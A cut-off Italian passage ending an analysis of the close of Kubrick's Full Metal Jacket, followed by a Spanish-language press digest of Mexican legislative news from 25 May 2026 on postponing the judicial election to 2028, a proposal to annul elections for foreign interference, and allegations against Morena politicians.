residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
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Síntesis de información legislativa | Lunes 25 de mayo de 2026
Te presentamos un resumen de la información publicada en la prensa nacional por ambas cámaras del Congreso de la Unión.
CÁMARA DE DIPUTADOSMESA DIRECTIVAKENIA LÓPEZ RABADÁN (PAN)
SN RedacciónDefinirán en extraordinario cuatro iniciativas.- El pleno de la Comisión Permanente del Congreso de la Unión aprobó ayer con 26 a favor y 11 en contra la convocatoria a un periodo extraordinario de sesiones solicitado por la presidenta Claudia Sheinbaum, en medio de acusaciones de “albazo legislativo” por parte de la oposición que denunció que varias de las iniciativas aún no eran públicas al momento de la votación. El acuerdo contempla discutir cuatro iniciativas, entre ellas la reforma presidencial para aplazar la segunda etapa de la reforma judicial que es llevar la elección judicial al año 2028 y la iniciativa para modificar la Ley General de Instituciones y Procedimientos Electorales en materia de integridad de candidaturas. [SOL DE MÉXICO / p5] [PRENSA / p16] [FINANCIERO / p41] [REFORMA / p6]
Cuestionan propuesta para anular elección por injerencia extranjera.- La Comisión Permanente avaló realizar un periodo extraordinario para analizar la iniciativa presidencial que aplaza para 2028, la elección del Poder Judicial. De último momento, se incluyeron dos iniciativas en materia electoral. Una es de la bancada de Morena, de su coordinador Ricardo Monreal que, busca establecer como causa de nulidad, la injerencia extranjera, definida como cualquier intento de influir en las preferencias electorales de los mexicanos, por lo que, por supuesto, ha generado reacciones de diversos sectores.
“La discusión ahora es ver cómo se censura, cómo se limita la información, cómo incluso, a través del justificante legal, quieren tamizar, quieren poner a consideración algunas candidaturas. Claramente, hay una dedicatoria, clara y pública. Es un mensaje, por cierto, yo diría, muy desafortunado”, dijo la presidenta de la Cámara de Diputados, Kenia López Rabadán. [NMÁS]
Respalda la UE el Plan México.- “Europa quiere invertir más en México y quiere hacerlo especialmente en sectores estratégicos, en energías limpias, digitalización, infraestructuras sostenibles, industrias, tecnológicas y cadenas de suministro resilientes. Nuestras sinergias son evidentes”, indicó el presidente del Consejo Europeo.
Al participar como invitado de honor en la sesión solemne de la Comisión
Permanente, António Luís Santos da Costa, ex primer ministro de la República Portuguesa y actual presidente del Consejo Europeo, afirmó que México y Europa se necesitan mutuamente.
Minutos antes del mediodía, el presidente del Consejo Europeo, Antonio Costa, llegó al Senado con el objeto de participar en la sesión solemne. A su arribo António Luís Santos da Costa fue recibido por las presidentas del Senado, Laura Itzel Castillo y de la Cámara de Diputados, Kenia López Rabadán, así como por la secretaria de Gobernación, Rosa Icela Rodríguez. [EXCÉLSIOR / p5] FOTO de la presidenta de la Cámara de Diputados, Kenia López Rabadán. [REFORMA / p12] [HERALDO / p7] [FINANCIERO / p38]
SERGIO CARLOS GUTIÉRREZ LUNA (MORENA)
Entrevista / Sergio Gutiérrez Luna (diputado de Morena).- Sobre el cambio de fecha de la elección judicial, comentó: “Tenemos ya un sistema judicial democrático y la Presidenta presentó una iniciativa de ajustes que nosotros acompañaremos, la coalición PT, PVEM y Morena. El dato relevante es que pasa la elección judicial al 2028 para que no esté empalmada con la elección política de 2027, pero vienen otras cosas que me parecen bastante relevantes, por ejemplo, simplificación de las boletas, menos candidatos, homologar criterios en los comités técnicos. En general es una reforma que sí optimiza algunas cosas de la experiencia en la elección pasada y que es necesario mejorar”. [HERALDO TV]
Entrevista / Sergio Gutiérrez Luna (diputado de Morena).- Explicó que la propuesta del Ejecutivo de la reforma a la elección judicial se está llevando a cabo en la Comisión Permanente. También habló sobre el anunció que dio la Presidenta sobre la verificación a los candidatos de los partidos políticos por parte del INE y de las autoridades de la FGR será optativa y con independencia en los resultados, cada partido decidirá si los postulan o no. La reforma para aplazar la elección judicial, dijo, tiene que ver con modificar la fecha al 2028 y así evitar que se empalme con la elección política del 2027, evitando alguna confusión que pueda darse, por temas de logística y aprovechar para hacer algunas modificaciones derivadas de la experiencia de la propia elección del Poder Judicial, que optimicen y faciliten esta elección. [ENFOQUE]
Va Morena contra los bots y manipulación digital en elecciones.- El diputado de Morena, Sergio Gutiérrez Luna, presentó una iniciativa de reforma a la Ley General de Instituciones y Procedimientos Electorales para cerrar el paso a las campañas automatizadas de desinformación a través de los bots, que buscan intervenir y manipular los procesos electorales desde el entorno digital. Afirmó que el avance tecnológico y el crecimiento de las plataformas digitales han transformado la manera en que la ciudadanía se informa, participa y debate en la vida pública, y entre otras cosas, en la actualidad se ha distorsionado la finalidad de la comunicación digital con: redes automatizadas de difusión masiva, operaciones coordinadas para amplificar artificialmente contenidos, campañas sistemáticas de desinformación y esquemas opacos de financiamiento digital, muchas veces provenientes del extranjero.
La propuesta plantea dotar al Instituto Nacional Electoral (INE) de herramientas legales para detectar y combatir operaciones coordinadas en redes sociales, uso masivo de bots, cuentas falsas y campañas financiadas desde el extranjero que buscan alterar artificialmente la conversación pública, manipular tendencias y poner en riesgo la equidad democrática en México. “Hoy las campañas digitales también pueden convertirse en mecanismos de manipulación masiva, y el Estado mexicano no puede quedarse cruzado de brazos. Vamos contra los bots, la propaganda extranjera y la manipulación digital en elecciones”, precisó el también vicepresidente de la Mesa Directiva de la cámara baja. [ÍNDIGO / p10] [RAZÓN / p6]
JUNTA DE COORDINACIÓN POLÍTICA (JUCOPO)RICARDO MONREAL ÁVILA (MORENA)Aprueban periodo extraordinario 26 de mayo; discutirán aplazamiento de elección judicial al 2028.- La Comisión Permanente del Congreso de la Unión aprobó por mayoría calificada de 26 votos en pro y 10 en contra la convocatoria a un periodo extraordinario de sesiones que iniciará el próximo 26 de mayo, en el que se discutirán reformas constitucionales y legales en materia judicial y electoral, entre otros temas. Según el acuerdo avalado, el periodo extraordinario tendrá como eje central la iniciativa de reforma enviada por la presidenta Claudia Sheinbaum, en materia de reforma del Poder Judicial, para aplazar la elección judicial de 2027 a junio de 2028.
El paquete legislativo también incluye una segunda iniciativa presidencial para modificar la Ley General de Instituciones y Procedimientos Electorales, que plantea la creación de una comisión verificativa para cerrar el paso a patrones sospechosos o vínculos con el crimen organizado. De igual manera se sumaron dos iniciativas impulsadas por el Coordinador de Morena en la Cámara de Diputados, Ricardo Monreal, relacionadas con el marco electoral donde plantea reformar el artículo 41 constitucional para añadir una nueva causal de nulidad de elecciones en caso de intervención extranjera. La segunda plantea modificaciones a la Ley General del Sistema de Medios de Impugnación en Materia Electoral, en lo relativo a las causales de nulidad de votación recibida en casilla y de nulidad de elecciones federales. [CRÓNICA / p6] [MILENIO / p11] [JORNADA / pp., p4] [REFORMA / pp., p6] [UNIVERSAL / pp., p6]
Proponen nulidad de elecciones por intervención extranjera.- El coordinador de la fracción parlamentaria de Morena en la Cámara de Diputados, Ricardo Monreal Ávila, presentó una iniciativa de reforma constitucional para establecer como nueva causal de nulidad de elecciones la “intervención de individuos, organizaciones o gobiernos extranjeros para influir en las preferencias o resultados electorales”. La propuesta será discutida y aprobada en el periodo extraordinario de sesiones convocado por la Comisión Permanente del Congreso de la Unión para la próxima semana. En conferencia de prensa, Monreal Ávila rechazó categóricamente que la reforma pueda ser utilizada como instrumento de persecución contra los opositores. Dijo que, por el contrario, vendrá a fortalecer aún más la soberanía y se impedirá cualquier manipulación del voto desde el exterior. [ÍNDIGO / p3] [JORNADA / pp., p4] [CONTRARÉPLICA / pp., p5] [CRÓNICA / p6]
Entrevista / Ricardo Monreal (coordinador de los diputados de Morena).- “Aprovechando este ambiente de reformas, en donde se diseñará de nueva forma el proceso para elegir jueces y magistrados, decidí plantear dos iniciativas, una de modificación a la Constitución y una a leyes ordinarias. Tiene que ver a que sea una causa de nulidad de la elección cuando se demuestre que influyeron factores externos de otro país, a través de personas, organizaciones o el propio gobierno extranjero. Eso sería causa de nulidad de la elección de que se trate. Tampoco estamos alejados de aceptar que cuando se demuestre que el crimen organizado influya en una elección de presidente municipal, de diputado local o de gobernador, también sea anulada”. [TELEFÓRMULA]
Alito Moreno se lanza contra propuesta de Monreal sobre anular elecciones por injerencia extranjera: “¿Con qué criterios?”.- Tras la propuesta del diputado Ricardo Monreal para anular elecciones por injerencia extranjera, el dirigente nacional del PRI Alejandro Moreno Cárdenas criticó la reforma: “¿Quién va a decidir qué es injerencia y qué no? ¿Con qué criterios?”. Moreno acusó que la iniciativa es una coartada legal para blindar a los “narcopolíticos de Morena” y anticipó que su partido acudirá a organismos internacionales para denunciar también el avance de la llamada Ley Censura. [INFOBAE]
No habrá dispensas en reforma.- Ricardo Monreal afirmó que no se dispensará ni se abreviará ningún proceso legislativo durante el análisis de la reforma judicial impulsada por la presidenta Claudia Sheinbaum Pardo, y aseguró que la Comisión de Puntos Constitucionales contará con el plazo legal de cinco días para deliberar y emitir el dictamen correspondiente. Durante la conferencia “Legislativa del Pueblo”, el presidente de la Jicopo de la Cámara de Diputados explicó que la comisión tiene hasta el martes para aprobar el paquete de reformas al Poder Judicial, así como las modificaciones a la Ley General de Instituciones y Procedimientos Electorales en materia de integridad de candidaturas y los cambios a la Constitución y a la Ley General del Sistema de Medios de Impugnación para incorporar nuevas causales de nulidad electoral por intervención extranjera. [EXCÉLSIOR / p2]
Sin señales de Enrique Inzunza en el Senado de la República: ¿Qué se sabe del paradero del legislador de Morena tras acusaciones de EU?- El paradero del senador Enrique Inzunza sigue siendo una incógnita, ya que no ha tenido apariciones públicas tras las acusaciones de Estados Unidos que lo vinculan con la facción de Los Chapitos, las cuales se dieron a conocer el pasado 29 de abril. El tema cobra relevancia tras la sesión de la Comisión Permanente, donde ni el suplente se presentó en el Senado de la República.
El diputado Ricardo Monreal dio por sentado que el senador se presentaría en la sesión de este jueves, al ser entrevistado por medios de comunicación un día previo respondió que “él es muy responsable, seguramente estará aquí”, luego de que la prensa cuestionara si se esperaba la presencia de Inzunza en el Senado. [INFOBAE] [CONTRARÉPLICA / p3] [RAZÓN / p5]
Ariadna Montiel se reúne con Saúl Monreal en medio de disputa por candidatura en Zacatecas.- Ariadna Montiel Reyes, presidenta de Morena, informó ayer que se reunió con el senador Saúl Monreal Ávila para dialogar sobre “los retos y el fortalecimiento” del movimiento en Zacatecas, según publicó en X.
Saúl Monreal ha expresado en varias ocasiones su intención de competir por el gobierno de Zacatecas. Su aspiración abre un frente interno porque su hermano David Monreal Ávila gobierna actualmente el estado y otro de sus hermanos,
Ricardo Monreal Ávila, coordina la bancada de Morena en la Cámara de Diputados. [INFOBAE]
REGINALDO SANDOVAL FLORES (PT)
Cuestiona Sandoval intenciones de EU sobre el narco.- Hasta los aliados de Morena tienen miedo de que Estados Unidos tenga en la mira a López Obrador, lo dijo Reginaldo Sandoval, el coordinador de los diputados del PT. “Sí, porque están en la misma narrativa de Maduro. A ver dónde está el Cártel de los Soles. A ver dónde está. Va por el petróleo. ¿Qué quieren? ¿Desbaratar a la nación? ¿Quieren echarnos a andar a una revolución civil? ¿Quieren venir por Andrés Manuel? ¿Qué es lo que está pasando? ¿Y quién presenta todo eso? No se vale”, expresó Sandoval Flores. [LATINUS]
Pide PT a Inzunza no dañar a la 4T.- El senador de Morena Enrique Inzunza, acusado de narco por EU, sigue sin ir a la sesión de la Comisión Permanente del Congreso, por tercera semana consecutiva. Hoy volvió a generar un debate, porque no se sabía quién era su suplente. Incluso, en el PT, aliado de Morena, pidieron a Inzunza que no dañe a la 4T. “Se debe de cuidar que no perjudique ni dañe el proyecto de la 4T. Es lo que hemos dicho, porque si no, nos va a afectar en la autoridad moral que tenemos frente al pueblo de México, porque no somos iguales. Nosotros no aceptamos delincuentes ni sinvergüenzas”, sostuvo el coordinador de los diputados del PT, Reginaldo Sandoval. [LATINUS]
RUBÉN IGNACIO MOREIRA VALDEZ (PRI)
Oposición resalta que reforma presidencial de candidatos no resuelve nada, ‘es insuficiente’.- La oposición señaló como insuficiente la reforma electoral del Ejecutivo Federal para crear la Comisión de Verificación de Candidaturas y revisar posibles vínculos criminales de aspirantes rumbo a las elecciones de 2027, dejaron en claro que, con ello, reconocen de manera explícita la “narcopolítica mexicana» que existe en Morena.
Jorge Triana, vocero del CEN del PAN, señaló que la propuesta de reforma del Ejecutivo reconoce de manera tácita que existe un problema de penetración del crimen organizado en Morena, ya que es la única medida reactiva respecto a los señalamientos por parte del gobierno de Estados Unidos hacia de Rubén Rocha Moya, gobernador de Sinaloa con licencia de tener presuntos vínculos con el crimen organizado y otros nueve funcionarios públicos de la entidad.
Por su parte, Rubén Moreira, coordinador de los diputados del PRI, remarcó que la iniciativa se queda corta, refirió que se debió escuchar a los expertos en la materia, enfatizó que debió abrirse el tema al debate de los grupos parlamentarios. Aunque el diputado del PRI remarcó que Morena se niega a observar la realidad en la que vive el país desde la materia económica hasta en seguridad. “Ojalá y pudiéramos debatirlo, el problema es que Morena tiene un espíritu negacionista, niega toda la realidad, desde la económica hasta la seguridad y bueno, y van a seguir avanzando”, cuestionó. [24 HORAS] [FINANCIERO / p36] [24 HORAS]
Solicita Rubén Moreira a autoridades de salud fortalecer vigilancia epidemiológica ante riesgo de hantavirus.- El coordinador del PRI en la Cámara de Diputados, Rubén Moreira, solicitó a la Secretaría de Salud, al IMSS, al ISSSTE, así como a la Secretaría de Seguridad y Protección Ciudadana, a la Guardia Nacional y a autoridades de Protección Civil fortalecer las acciones de vigilancia epidemiológica, prevención y capacidad hospitalaria, ante el riesgo de que se presenten en el país casos de Hantavirus.
Indicó que la pandemia por Covid-19 evidenció las graves consecuencias que genera la falta de preparación institucional ante riesgos sanitarios de alcance internacional, por lo que es necesario contar con mecanismos de prevención oportunos e instituciones sanitarias sólidas.
A través de un punto de acuerdo presentado en la Comisión Permanente, el político coahuilense indicó que, en días recientes, la Organización Mundial de la Salud emitió alertas y comunicados relacionados con un brote de hantavirus, específicamente de la cepa Andes, detectado inicialmente en un crucero internacional, donde se reportaron casos confirmados, personas fallecidas y pacientes bajo observación epidemiológica. [ÍNDIGO / p9]
ELECCIÓN JUDICIAL
TEPJF: toca al Legislativo perfeccionar reforma al PJ.- El presidente del Tribunal Electoral del Poder Judicial de la Federación (TEPJF), Gilberto Bátiz, dijo que toca a los legisladores perfeccionar la reforma al Poder Judicial. Esta semana, el Ejecutivo presentó al Congreso una nueva iniciativa de cambios constitucionales en la materia, la cual prevé ajustes para la elección por voto popular de jueces, magistrados y ministros, y posponer la contienda para 2028. [JORNADA / p5] [HERALDO / p10]
Admiten fallas en evaluación.- El gobierno federal admitió que los comités de evaluación de la elección judicial de 2025 operaron sin criterios homologados para seleccionar a los candidatos a jueces, magistrados y ministros de la SCJN. La consejera Jurídica del Ejecutivo, Luisa María Alcalde reconoció que la propuesta de reforma judicial entregada al Congreso busca corregir diferencias en la forma en que Ejecutivo, Legislativo y Judicial revisaron perfiles de aspirantes durante el primer proceso de elección de integrantes del Poder Judicial. [REFORMA / p6]
Entrevista / Jorge Alcocer V. (Analista político) con Carmen Aristegui.- El analista criticó la iniciativa presidencial para modificar la reforma judicial y aplazar de 2027 a 2028 la elección judicial ordinaria, al considerar que el cambio únicamente “patea el bote” y no resuelve los problemas de fondo del modelo aprobado en 2024. El especialista sostuvo que desde la aprobación de la reforma judicial se advirtió sobre las complicaciones de realizar de manera simultánea las elecciones políticas y judiciales. “Se les dijo en 2024 que eso no iba a funcionar, que estaban haciendo las cosas a la trompa talega, al toche y moche, no hicieron caso”, señaló. [ARISTEGUI]
La propuesta de reforma judicial deja en vilo la presidencia de la Suprema Corte.- El poder judicial mexicano se encamina por segunda vez en menos de dos años hacia una reforma, cercado por los errores y las prisas con las que se encaró la primera, que sustituyó de un plumazo el sistema de carrera por otro de elección popular. Algunos de los fallos de entonces, minimizados y considerados meros equívocos formales, han ido tomando cuerpo hasta convertirse en un embrollo más difícil de solucionar. [EL PAÍS]
COMISIÓN PERMANENTE
Iniciativa de la Presidenta para erradicar a narcocandidatos.- La presidente Claudia Sheinbaum presentó una iniciativa de reforma a la Ley General de Instituciones y Procedimientos Electorales para blindar, los comicios a partir de 2027, con el fin de evitar la postulación de candidatos y evitar que estén vinculados con el crimen organizado. Explicó que tomó la decisión de enviar la propuesta a la Comisión Permanente del Congreso de la Unión para que se discuta en el periodo extraordinario de sesiones porque “desde que entramos (al gobierno) hemos vivido algunos casos aislados, no es una cosa generalizada, de vínculo entre algunas presidencias municipales y la delincuencia organizada”. [JORNADA / pp., p3]
La Presidenta envía iniciativa para frenar la deforestación.- La presidenta Claudia Sheinbaum envió a la Comisión Permanente del Congreso una iniciativa que otorga a la Secretaría del Medio Ambiente la facultad de expedir el certificado de libre de deforestación, con el fin de salvaguardar el patrimonio forestal. La propuesta plantea modificar la Ley Orgánica de la Administración Pública Federal y la Ley General de Desarrollo Forestal Sustentable. En su exposición de motivos, señala que 21.99% de la pérdida de ecosistemas forestales entre 2001 y 2024, corresponde a su conversión en agrícolas y equivale a 44 mil 766 hectáreas. [JORNADA / p6]
Irá al periodo extra, afirma Inzunza.- El morenista Enrique Inzunza Cázarez informó que asistirá al periodo extraordinario en el Senado y reiteró que no solicitará licencia al cargo. En tribuna, el diputado Gibrán Ramírez (MC) demandó a la presidenta de la Comisión Permanente, Laura Itzel Castillo (Morena), informar si existe algún justificante, incapacidad o documento oficial que explique las inasistencias de Inzunza. Incluso, en conferencia de prensa y ante la insistencia de los reporteros, el vocero de los diputados de Morena, Arturo Ávila, respondió que en su “personalísima opinión”, es deseable que quien tiene algún señalamiento pida licencia al cargo, pero, “será decisión de Inzunza hacerlo o mantenerse en su escaño”. [JORNADA / p5]
Reconoce Consejo Europeo a México por defender soberanía.- El presidente del Consejo Europeo, António Luís Santos da Costa, destacó ayer que México siempre ha luchado por su independencia, libertad y soberanía popular. Ha defendido “la convicción de que ningún pueblo tiene derecho a decidir el destino de otro”, subrayó al ser recibido en una sesión solemne de la Comisión Permanente del Congreso. La víspera de la firma del Acuerdo Global Modernizado con Europa, aseguró que se eliminarán o reducirán aranceles, lo que impulsará el comercio y la inversión. [JORNADA / p14]
Exalcaldesa de Tecámac oculta una mansión de más de 36 mdp.- La exalcaldesa de Tecámac Mariela Gutiérrez Escalante, hoy senadora de Morena, ocultó en su declaración patrimonial una propiedad a su nombre valuada en más de 36 millones de pesos, ubicada en ese municipio mexiquense al que gobernó por seis años. Durante la sesión de la Comisión Permanente del Congreso de la Unión, la senadora fue abordada por reporteros y reconoció que la vivienda fue suya, pero hoy en día es de sus hijos, y aseguró que “tener propiedades no es pecado”. [RAZÓN / p14]
COMISIÓN DE VERIFICACIÓN DE INTEGRIDAD DE CANDIDATURAS
Estima PAN inviable comisión revisora.- Diputados del PAN cuestionaron la viabilidad de la propuesta de la presidenta Claudia Sheinbaum de crear una comisión en el INE para la revisión de los antecedentes de aspirantes a candidaturas, al acusar que Morena y sus aliados impusieron a gran parte de los consejeros del ente electoral. El vocero de la bancada, Federico Döring, advirtió que los consejeros afines al gobierno serían quienes deberían preguntar a las fiscalías y a las policías, algunas de las cuales han aparecido en las nóminas del narcotráfico, sobre quién puede o no ser postulado a un cargo de elección popular. [REFORMA / p6] [RAZÓN / p4]
Entrevista / Manuel Añorve (Senador – PRI) con Carlos Zúñiga.- Indicó que el PRI está a favor de que los partidos políticos asuman su responsabilidad y postulen candidaturas con probidad. Sin embargo, señaló que lo que Morena está proponiendo es que tratan de orientar su verdad, pero no dicen el fondo del objetivo, ya que el Comité y las instituciones están ligadas a Morena, por lo que pide que se incorpore a asociaciones, colegios y representantes de los partidos políticos para darle certeza a la Comisión de Verificación de Integridad de Candidaturas, sin quitarle responsabilidad a los partidos políticos. [MILENIO TV]
Entrevista / Marco Baños (Exconsejero – INE) con Carlos Zúñiga.- Sobre la iniciativa para la creación de la Comisión de Verificación de Integridad de Candidaturas, comentó que los mecanismos que se vayan estableciendo para garantizar que los candidatos no tienen vínculos con el crimen organizado son bienvenidos y saludables. Explicó que no es crear burocracia como lo manifestaron algunos legisladores, pues está compuesto por cinco consejeros del INE, quienes serán responsables de ser el vínculo de comunicación entre los partidos y las instancias de revisión. Lo que no le satisfizo de la iniciativa es que el partido político será quien definirá si se postula o no al ciudadano, para él si una persona está sujeta a una investigación debe ser tajante que se le niegue el registro. [MILENIO TV]
Mesa de debate / Arturo Ávila (Diputado – Morena) / Federico Döring – (Diputado – PAN) / Gibrán Ramírez (Diputado – MC) con Azucena Uresti.- Al abordar el tema de la narcopolítica, Gibrán Ramírez indicó que es una problemática muy compleja y, aunque ha llegado a pensar que no hay solución en el país, existen ejemplos de que se puede salir de eso. Sin embargo, considera que las cosas se pueden inclinar hacia el lado de la violencia en su manera más dura o hacia un pacto entre todos los partidos políticos, entre todas las fuerzas de la sociedad organizada, para pasar a un momento de justicia transicional.
Esto último lo considera más improbable. Federico Döring afirmó que todos los partidos han tenido infiltraciones. Él fue responsable de investigar cómo ‘El Chapo’ metió a una diputada local en Sinaloa hace muchos años, en 2016, y tuvo que hacer esa investigación, por lo que no hay ningún partido que no haya tenido un caso de corrupción. Arturo Ávila subrayó que en varias ocasiones se ha repetido que, si Rubén Rocha o los nueve personajes que forman parte de la lista de señalados por un juez federal del sur de Nueva York son culpables, tienen que pagar. [RADIO FÓRMULA]
“Reforma en narcopolítica podría quedar corta”.- Expertas electorales reconocieron que la propuesta presidencial para crear una comisión que investigue a los narcocandidatos es un avance; no obstante, alertaron que se corre el riesgo de que, ante el poco margen para su discusión, la medida se quede corta frente al tamaño de la problemática. Daniela Arias, coordinadora de Laboratorio Electoral, sostuvo que, aunque esta iniciativa se puede leer como positiva, todavía hay muchas más dudas que respuestas. [ECONOMISTA / p39]
DIPUTADAS Y DIPUTADOSMORENAMayer acusa presión política de “tribus” para dejar Morena.- Aunque calificó a Morena como el partido “más consolidado” en México, el diputado federal Sergio Mayer comentó que es momento oportuno para que la nueva dirigencia realice un ejercicio de autorreflexión de lo que está pasando internamente. Aseguró que su renuncia a Morena no tiene nada que ver con la licencia para participar en el Reality Show y mucho menos con el tema de Sinaloa y la relación de políticos de Sinaloa con el crimen organizado, pero sí, denunció, con la problemática de las “tribus” que lo presionaron para que perteneciera a algunos de los grupos. [HERALDO / p8] [24 HORAS]
Pedro Haces destacó apoyo a trabajadores mexicanos en EU.- El operador político de Morena en la Cámara de Diputados, Pedro Haces Barba enfatizó la importancia del apoyo a los trabajadores mexicanos en Unión Americana. Durante su visita a Washington, Haces Barba sostuvo reuniones en oficinas de la CATEM USA con empresarios estadounidenses interesados en invertir en México y fortalecer proyectos vinculados a generación de empleo y desarrollo productivo. [24 HORAS] [POLÍTICA ONLINE]
Ávila sostiene su pelea con Adán y ahora reclama que Inzunza pida licencia en el Senado.- Con el trasfondo de las acusaciones de Estados Unidos contra diez funcionarios de Sinaloa por presunta colusión con el Cártel de Los Chapitos, el vocero del grupo parlamentario de Morena, Arturo Ávila, busca reacomodar su juego al interior de la 4T. Este jueves, consideró «deseable» que el senador Enrique Inzunza solicite licencia para ser investigado. Sin embargo, fuentes legislativas consultadas por LPO sostienen que sus declaraciones son un nuevo capítulo de la disputa que mantiene con Adán Augusto por un departamento.[POLÍTICA ONLINE]
Entrevista / Gabriel García Hernández (Diputado – Morena) con Pamela Villanueva.- “Yo quisiera pedirles a los medios de comunicación les den oportunidad a ellos de contar su propia historia, lo que me pude enterar a partir de esta desinformación que criminaliza a 50 mil familias trabajadoras, es que estas dos personas tienen una historia de vida, que sí tuvieron una situación en el pasado, estuvieron recluidas, pero hoy en día se han presentado ante las autoridades y no tienen ninguna investigación No los conocía, apenas los conozco, pero me entusiasma que quieran tener una verdadera readaptación, transparentar, legalizarse y trabajar dignamente eso sí es lo que creo que merece todo ser humano”. [MILENIO TV]
Capturan exfuncionaria de Cuauhtémoc Blanco.- Elizabeth Marina ‘N’, quien fuera jefa del Departamento de Contabilidad del Fideicomiso del Lago de Tequesquitengo (Filateq) durante la administración de Cuauhtémoc Blanco, fue detenida por elementos de la Agencia de Investigación Criminal (AIC), adscritos a la Fiscalía Especializada en Combate a la Corrupción (FECC). ¿La razón? Elizabeth Marina ‘N’ es investigada por su probable participación en los delitos de peculado agravado, ejercicio ilícito del servicio público y ejercicio abusivo de funciones, luego de detectarse un presunto desvío superior a los 19 millones de pesos en el fideicomiso del Lago de Tequesquitengo. [FINANCIERO / p36]
PT
Entrevista / Diana Karina Barreras Samaniego (Diputada – PT) con Juan Becerra Acosta.- “Él me buscó (Jorge El Travieso Arce) porque fue mi adversario en el 2024. Le gané 3-1. Fuimos a comer y me contó que se ha juntado con varios actores políticos de Morena en Sinaloa, de donde es él, ayudando a la Cuarta
Transformación de allá, se ha juntado con varios actores políticos en Puebla; incluso, en Sonora, pero yo nunca lo invité. Se ha mal informado mucho, y también muchos medios de comunicación de donde soy yo, de Hermosillo, son muy mentirosos y mal informan. ¿En dónde dice en el video que yo lo llevo a Morena? Para empezar, yo no soy de Morena, yo no doy candidaturas”. [TELEFÓRMULA]
MC
Movimiento Ciudadano pide incluir juicio político contra Rubén Rocha Moya en periodo extraordinario del Congreso.- El diputado de Movimiento Ciudadano, Pablo Vázquez Ahued, solicitó que el juicio político contra el gobernador con licencia de Sinaloa, Rubén Rocha Moya, sea incluido en el próximo periodo extraordinario de sesiones del Congreso previsto para el 26 de mayo. Vázquez Ahued sostuvo que las investigaciones deben realizarse en México y criticó la falta de avances en el caso. [INFOBAE]
AUDITORÍA SUPERIOR DE LA FEDERACIÓN (ASF)
Alcalde prófugo nunca realizó auditorías.- Jesús Corona Damián, alcalde de Cuautla, Morelos, hoy prófugo tras ser señalado por el gobierno federal de presuntos nexos con el Cártel de Sinaloa, no realizó ninguna auditoría interna en el municipio en los dos periodos -2019-2021 y de 2025 a la fecha- que ejerció como presidente municipal en la segunda ciudad más importante de Morelos. En la Cuenta Pública 2020, la Auditoría Superior de la Federación (ASF) encontró diversas irregularidades en la gestión de Jesús Corona, entre ellas un faltante por 10 millones de pesos, obras que no operaban, y las que operaban, lo hacían de forma deficiente, así como el sobrepago en algunas de estas obras. [UNIVERSAL / p11] OPINIÓN
ARTÍCULO / KENIA LÓPEZ RABADÁN / Reforma judicial: cambios de forma, problemas de fondo / Con la aprobación de un periodo extraordinario en el Congreso de la Unión, la Cámara de Diputados se prepara para discutir una nueva propuesta de reforma al Poder Judicial enviada por el Ejecutivo federal. El dictamen recaerá en la Comisión de Puntos Constitucionales y representa una oportunidad para corregir un diseño institucional que, desde su origen, dejó más dudas que certezas. Aunque se modifican fechas, procedimientos y reglas de organización electoral, el fondo del problema permanece intacto. Se busca trasladar la lógica electoral a la integración del Poder Judicial, apostando nuevamente por mecanismos que privilegian la improvisación sobre la capacidad técnica y la independencia judicial. [UNIVERSAL / p 22]
COLUMNA / LA GRAN CARPA / La panista Kenia López Rabadán criticó que la iniciativa de reforma judicial se recibió «entre puros cuates», sin pluralidad y con un turno irregular a comisiones. Advirtió que México no necesita una reforma «cosmética» ni juzgadores de membrete, sino un Poder Judicial fuerte y autónomo. Además, calificó de increíble que se busque convocar a un periodo extraordinario para discutir iniciativas que el Ejecutivo federal ni siquiera ha enviado formalmente. [ECONOMISTA / p 46-47] Del tema escriben: DESDE LAS CÁMARAS LEGISLATIVAS / JESÚS HÉCTOR MUÑOZ ESCOBAR [24 HORAS]
COLUMNA / LA ÚLTIMA Y NOS VAMOS / DANIEL SANTOS FLORES / El que va contra los bots es Sergio Gutiérrez Luna… el morenista está preparando una iniciativa a fin de frenar la manipulación digital y las noticias falsas que hoy en día abundan y que afectan directamente no sólo a los gobiernos de todos los tres niveles, sino también a privados. Se tiene registro de cómo empresas extranjeras impulsan conversaciones negativas para manipular la percepción, lo que crea no sólo desinformación, si no que con este tipo de campañas buscan manipular las elecciones. [RAZÓN / p 11]
COLUMNA / AQUÍ EN EL CONGRESO / JOSÉ ANTONIO CHÁVEZ / Si bien el próximo miércoles podría quedar resuelto la aprobación de la reforma electoral para aplazar la elección de los jueces en el 2028, también es cierto que el senador Enrique Inzunza no hará falta a su bancada de Morena para lograr las dos terceras partes. Actualmente con sus aliados, la bancada de Ignacio Mier goza de 87 senadores, se requieren 86 de los 128 que son la suma de los dos tercios. Le tocará a Ricardo Monreal darle luz verde sin el menor problema, aunque los panistas de
Elías Lixa y los priistas de Rubén Moreira voten en contra. [MEXICOINFORMA] COLUMNA / ARSENAL / FRANCISCO GARFIAS / En el extraordinario quedaron agendadas otras tres iniciativas, dos de las cuales ni siquiera fueron publicadas en la Gaceta Parlamentaria. Una es para incorporar la causal de nulidad de elecciones por intervención extranjera —el fantasma de la injerencia de Estados Unidos—. “En el contexto actual y las experiencias recientes en América Latina, considero pertinente establecer como una causal de nulidad adicional la consistente en que se acredite intervención extranjera alguna”, justifica el diputado Ricardo Monreal, autor de la iniciativa. La otra también es de Monreal. Es para modificar diversas disposiciones de la Ley General del Sistema de Medios de Impugnación en Materia Electoral, relativas a las causales de nulidad de votación.
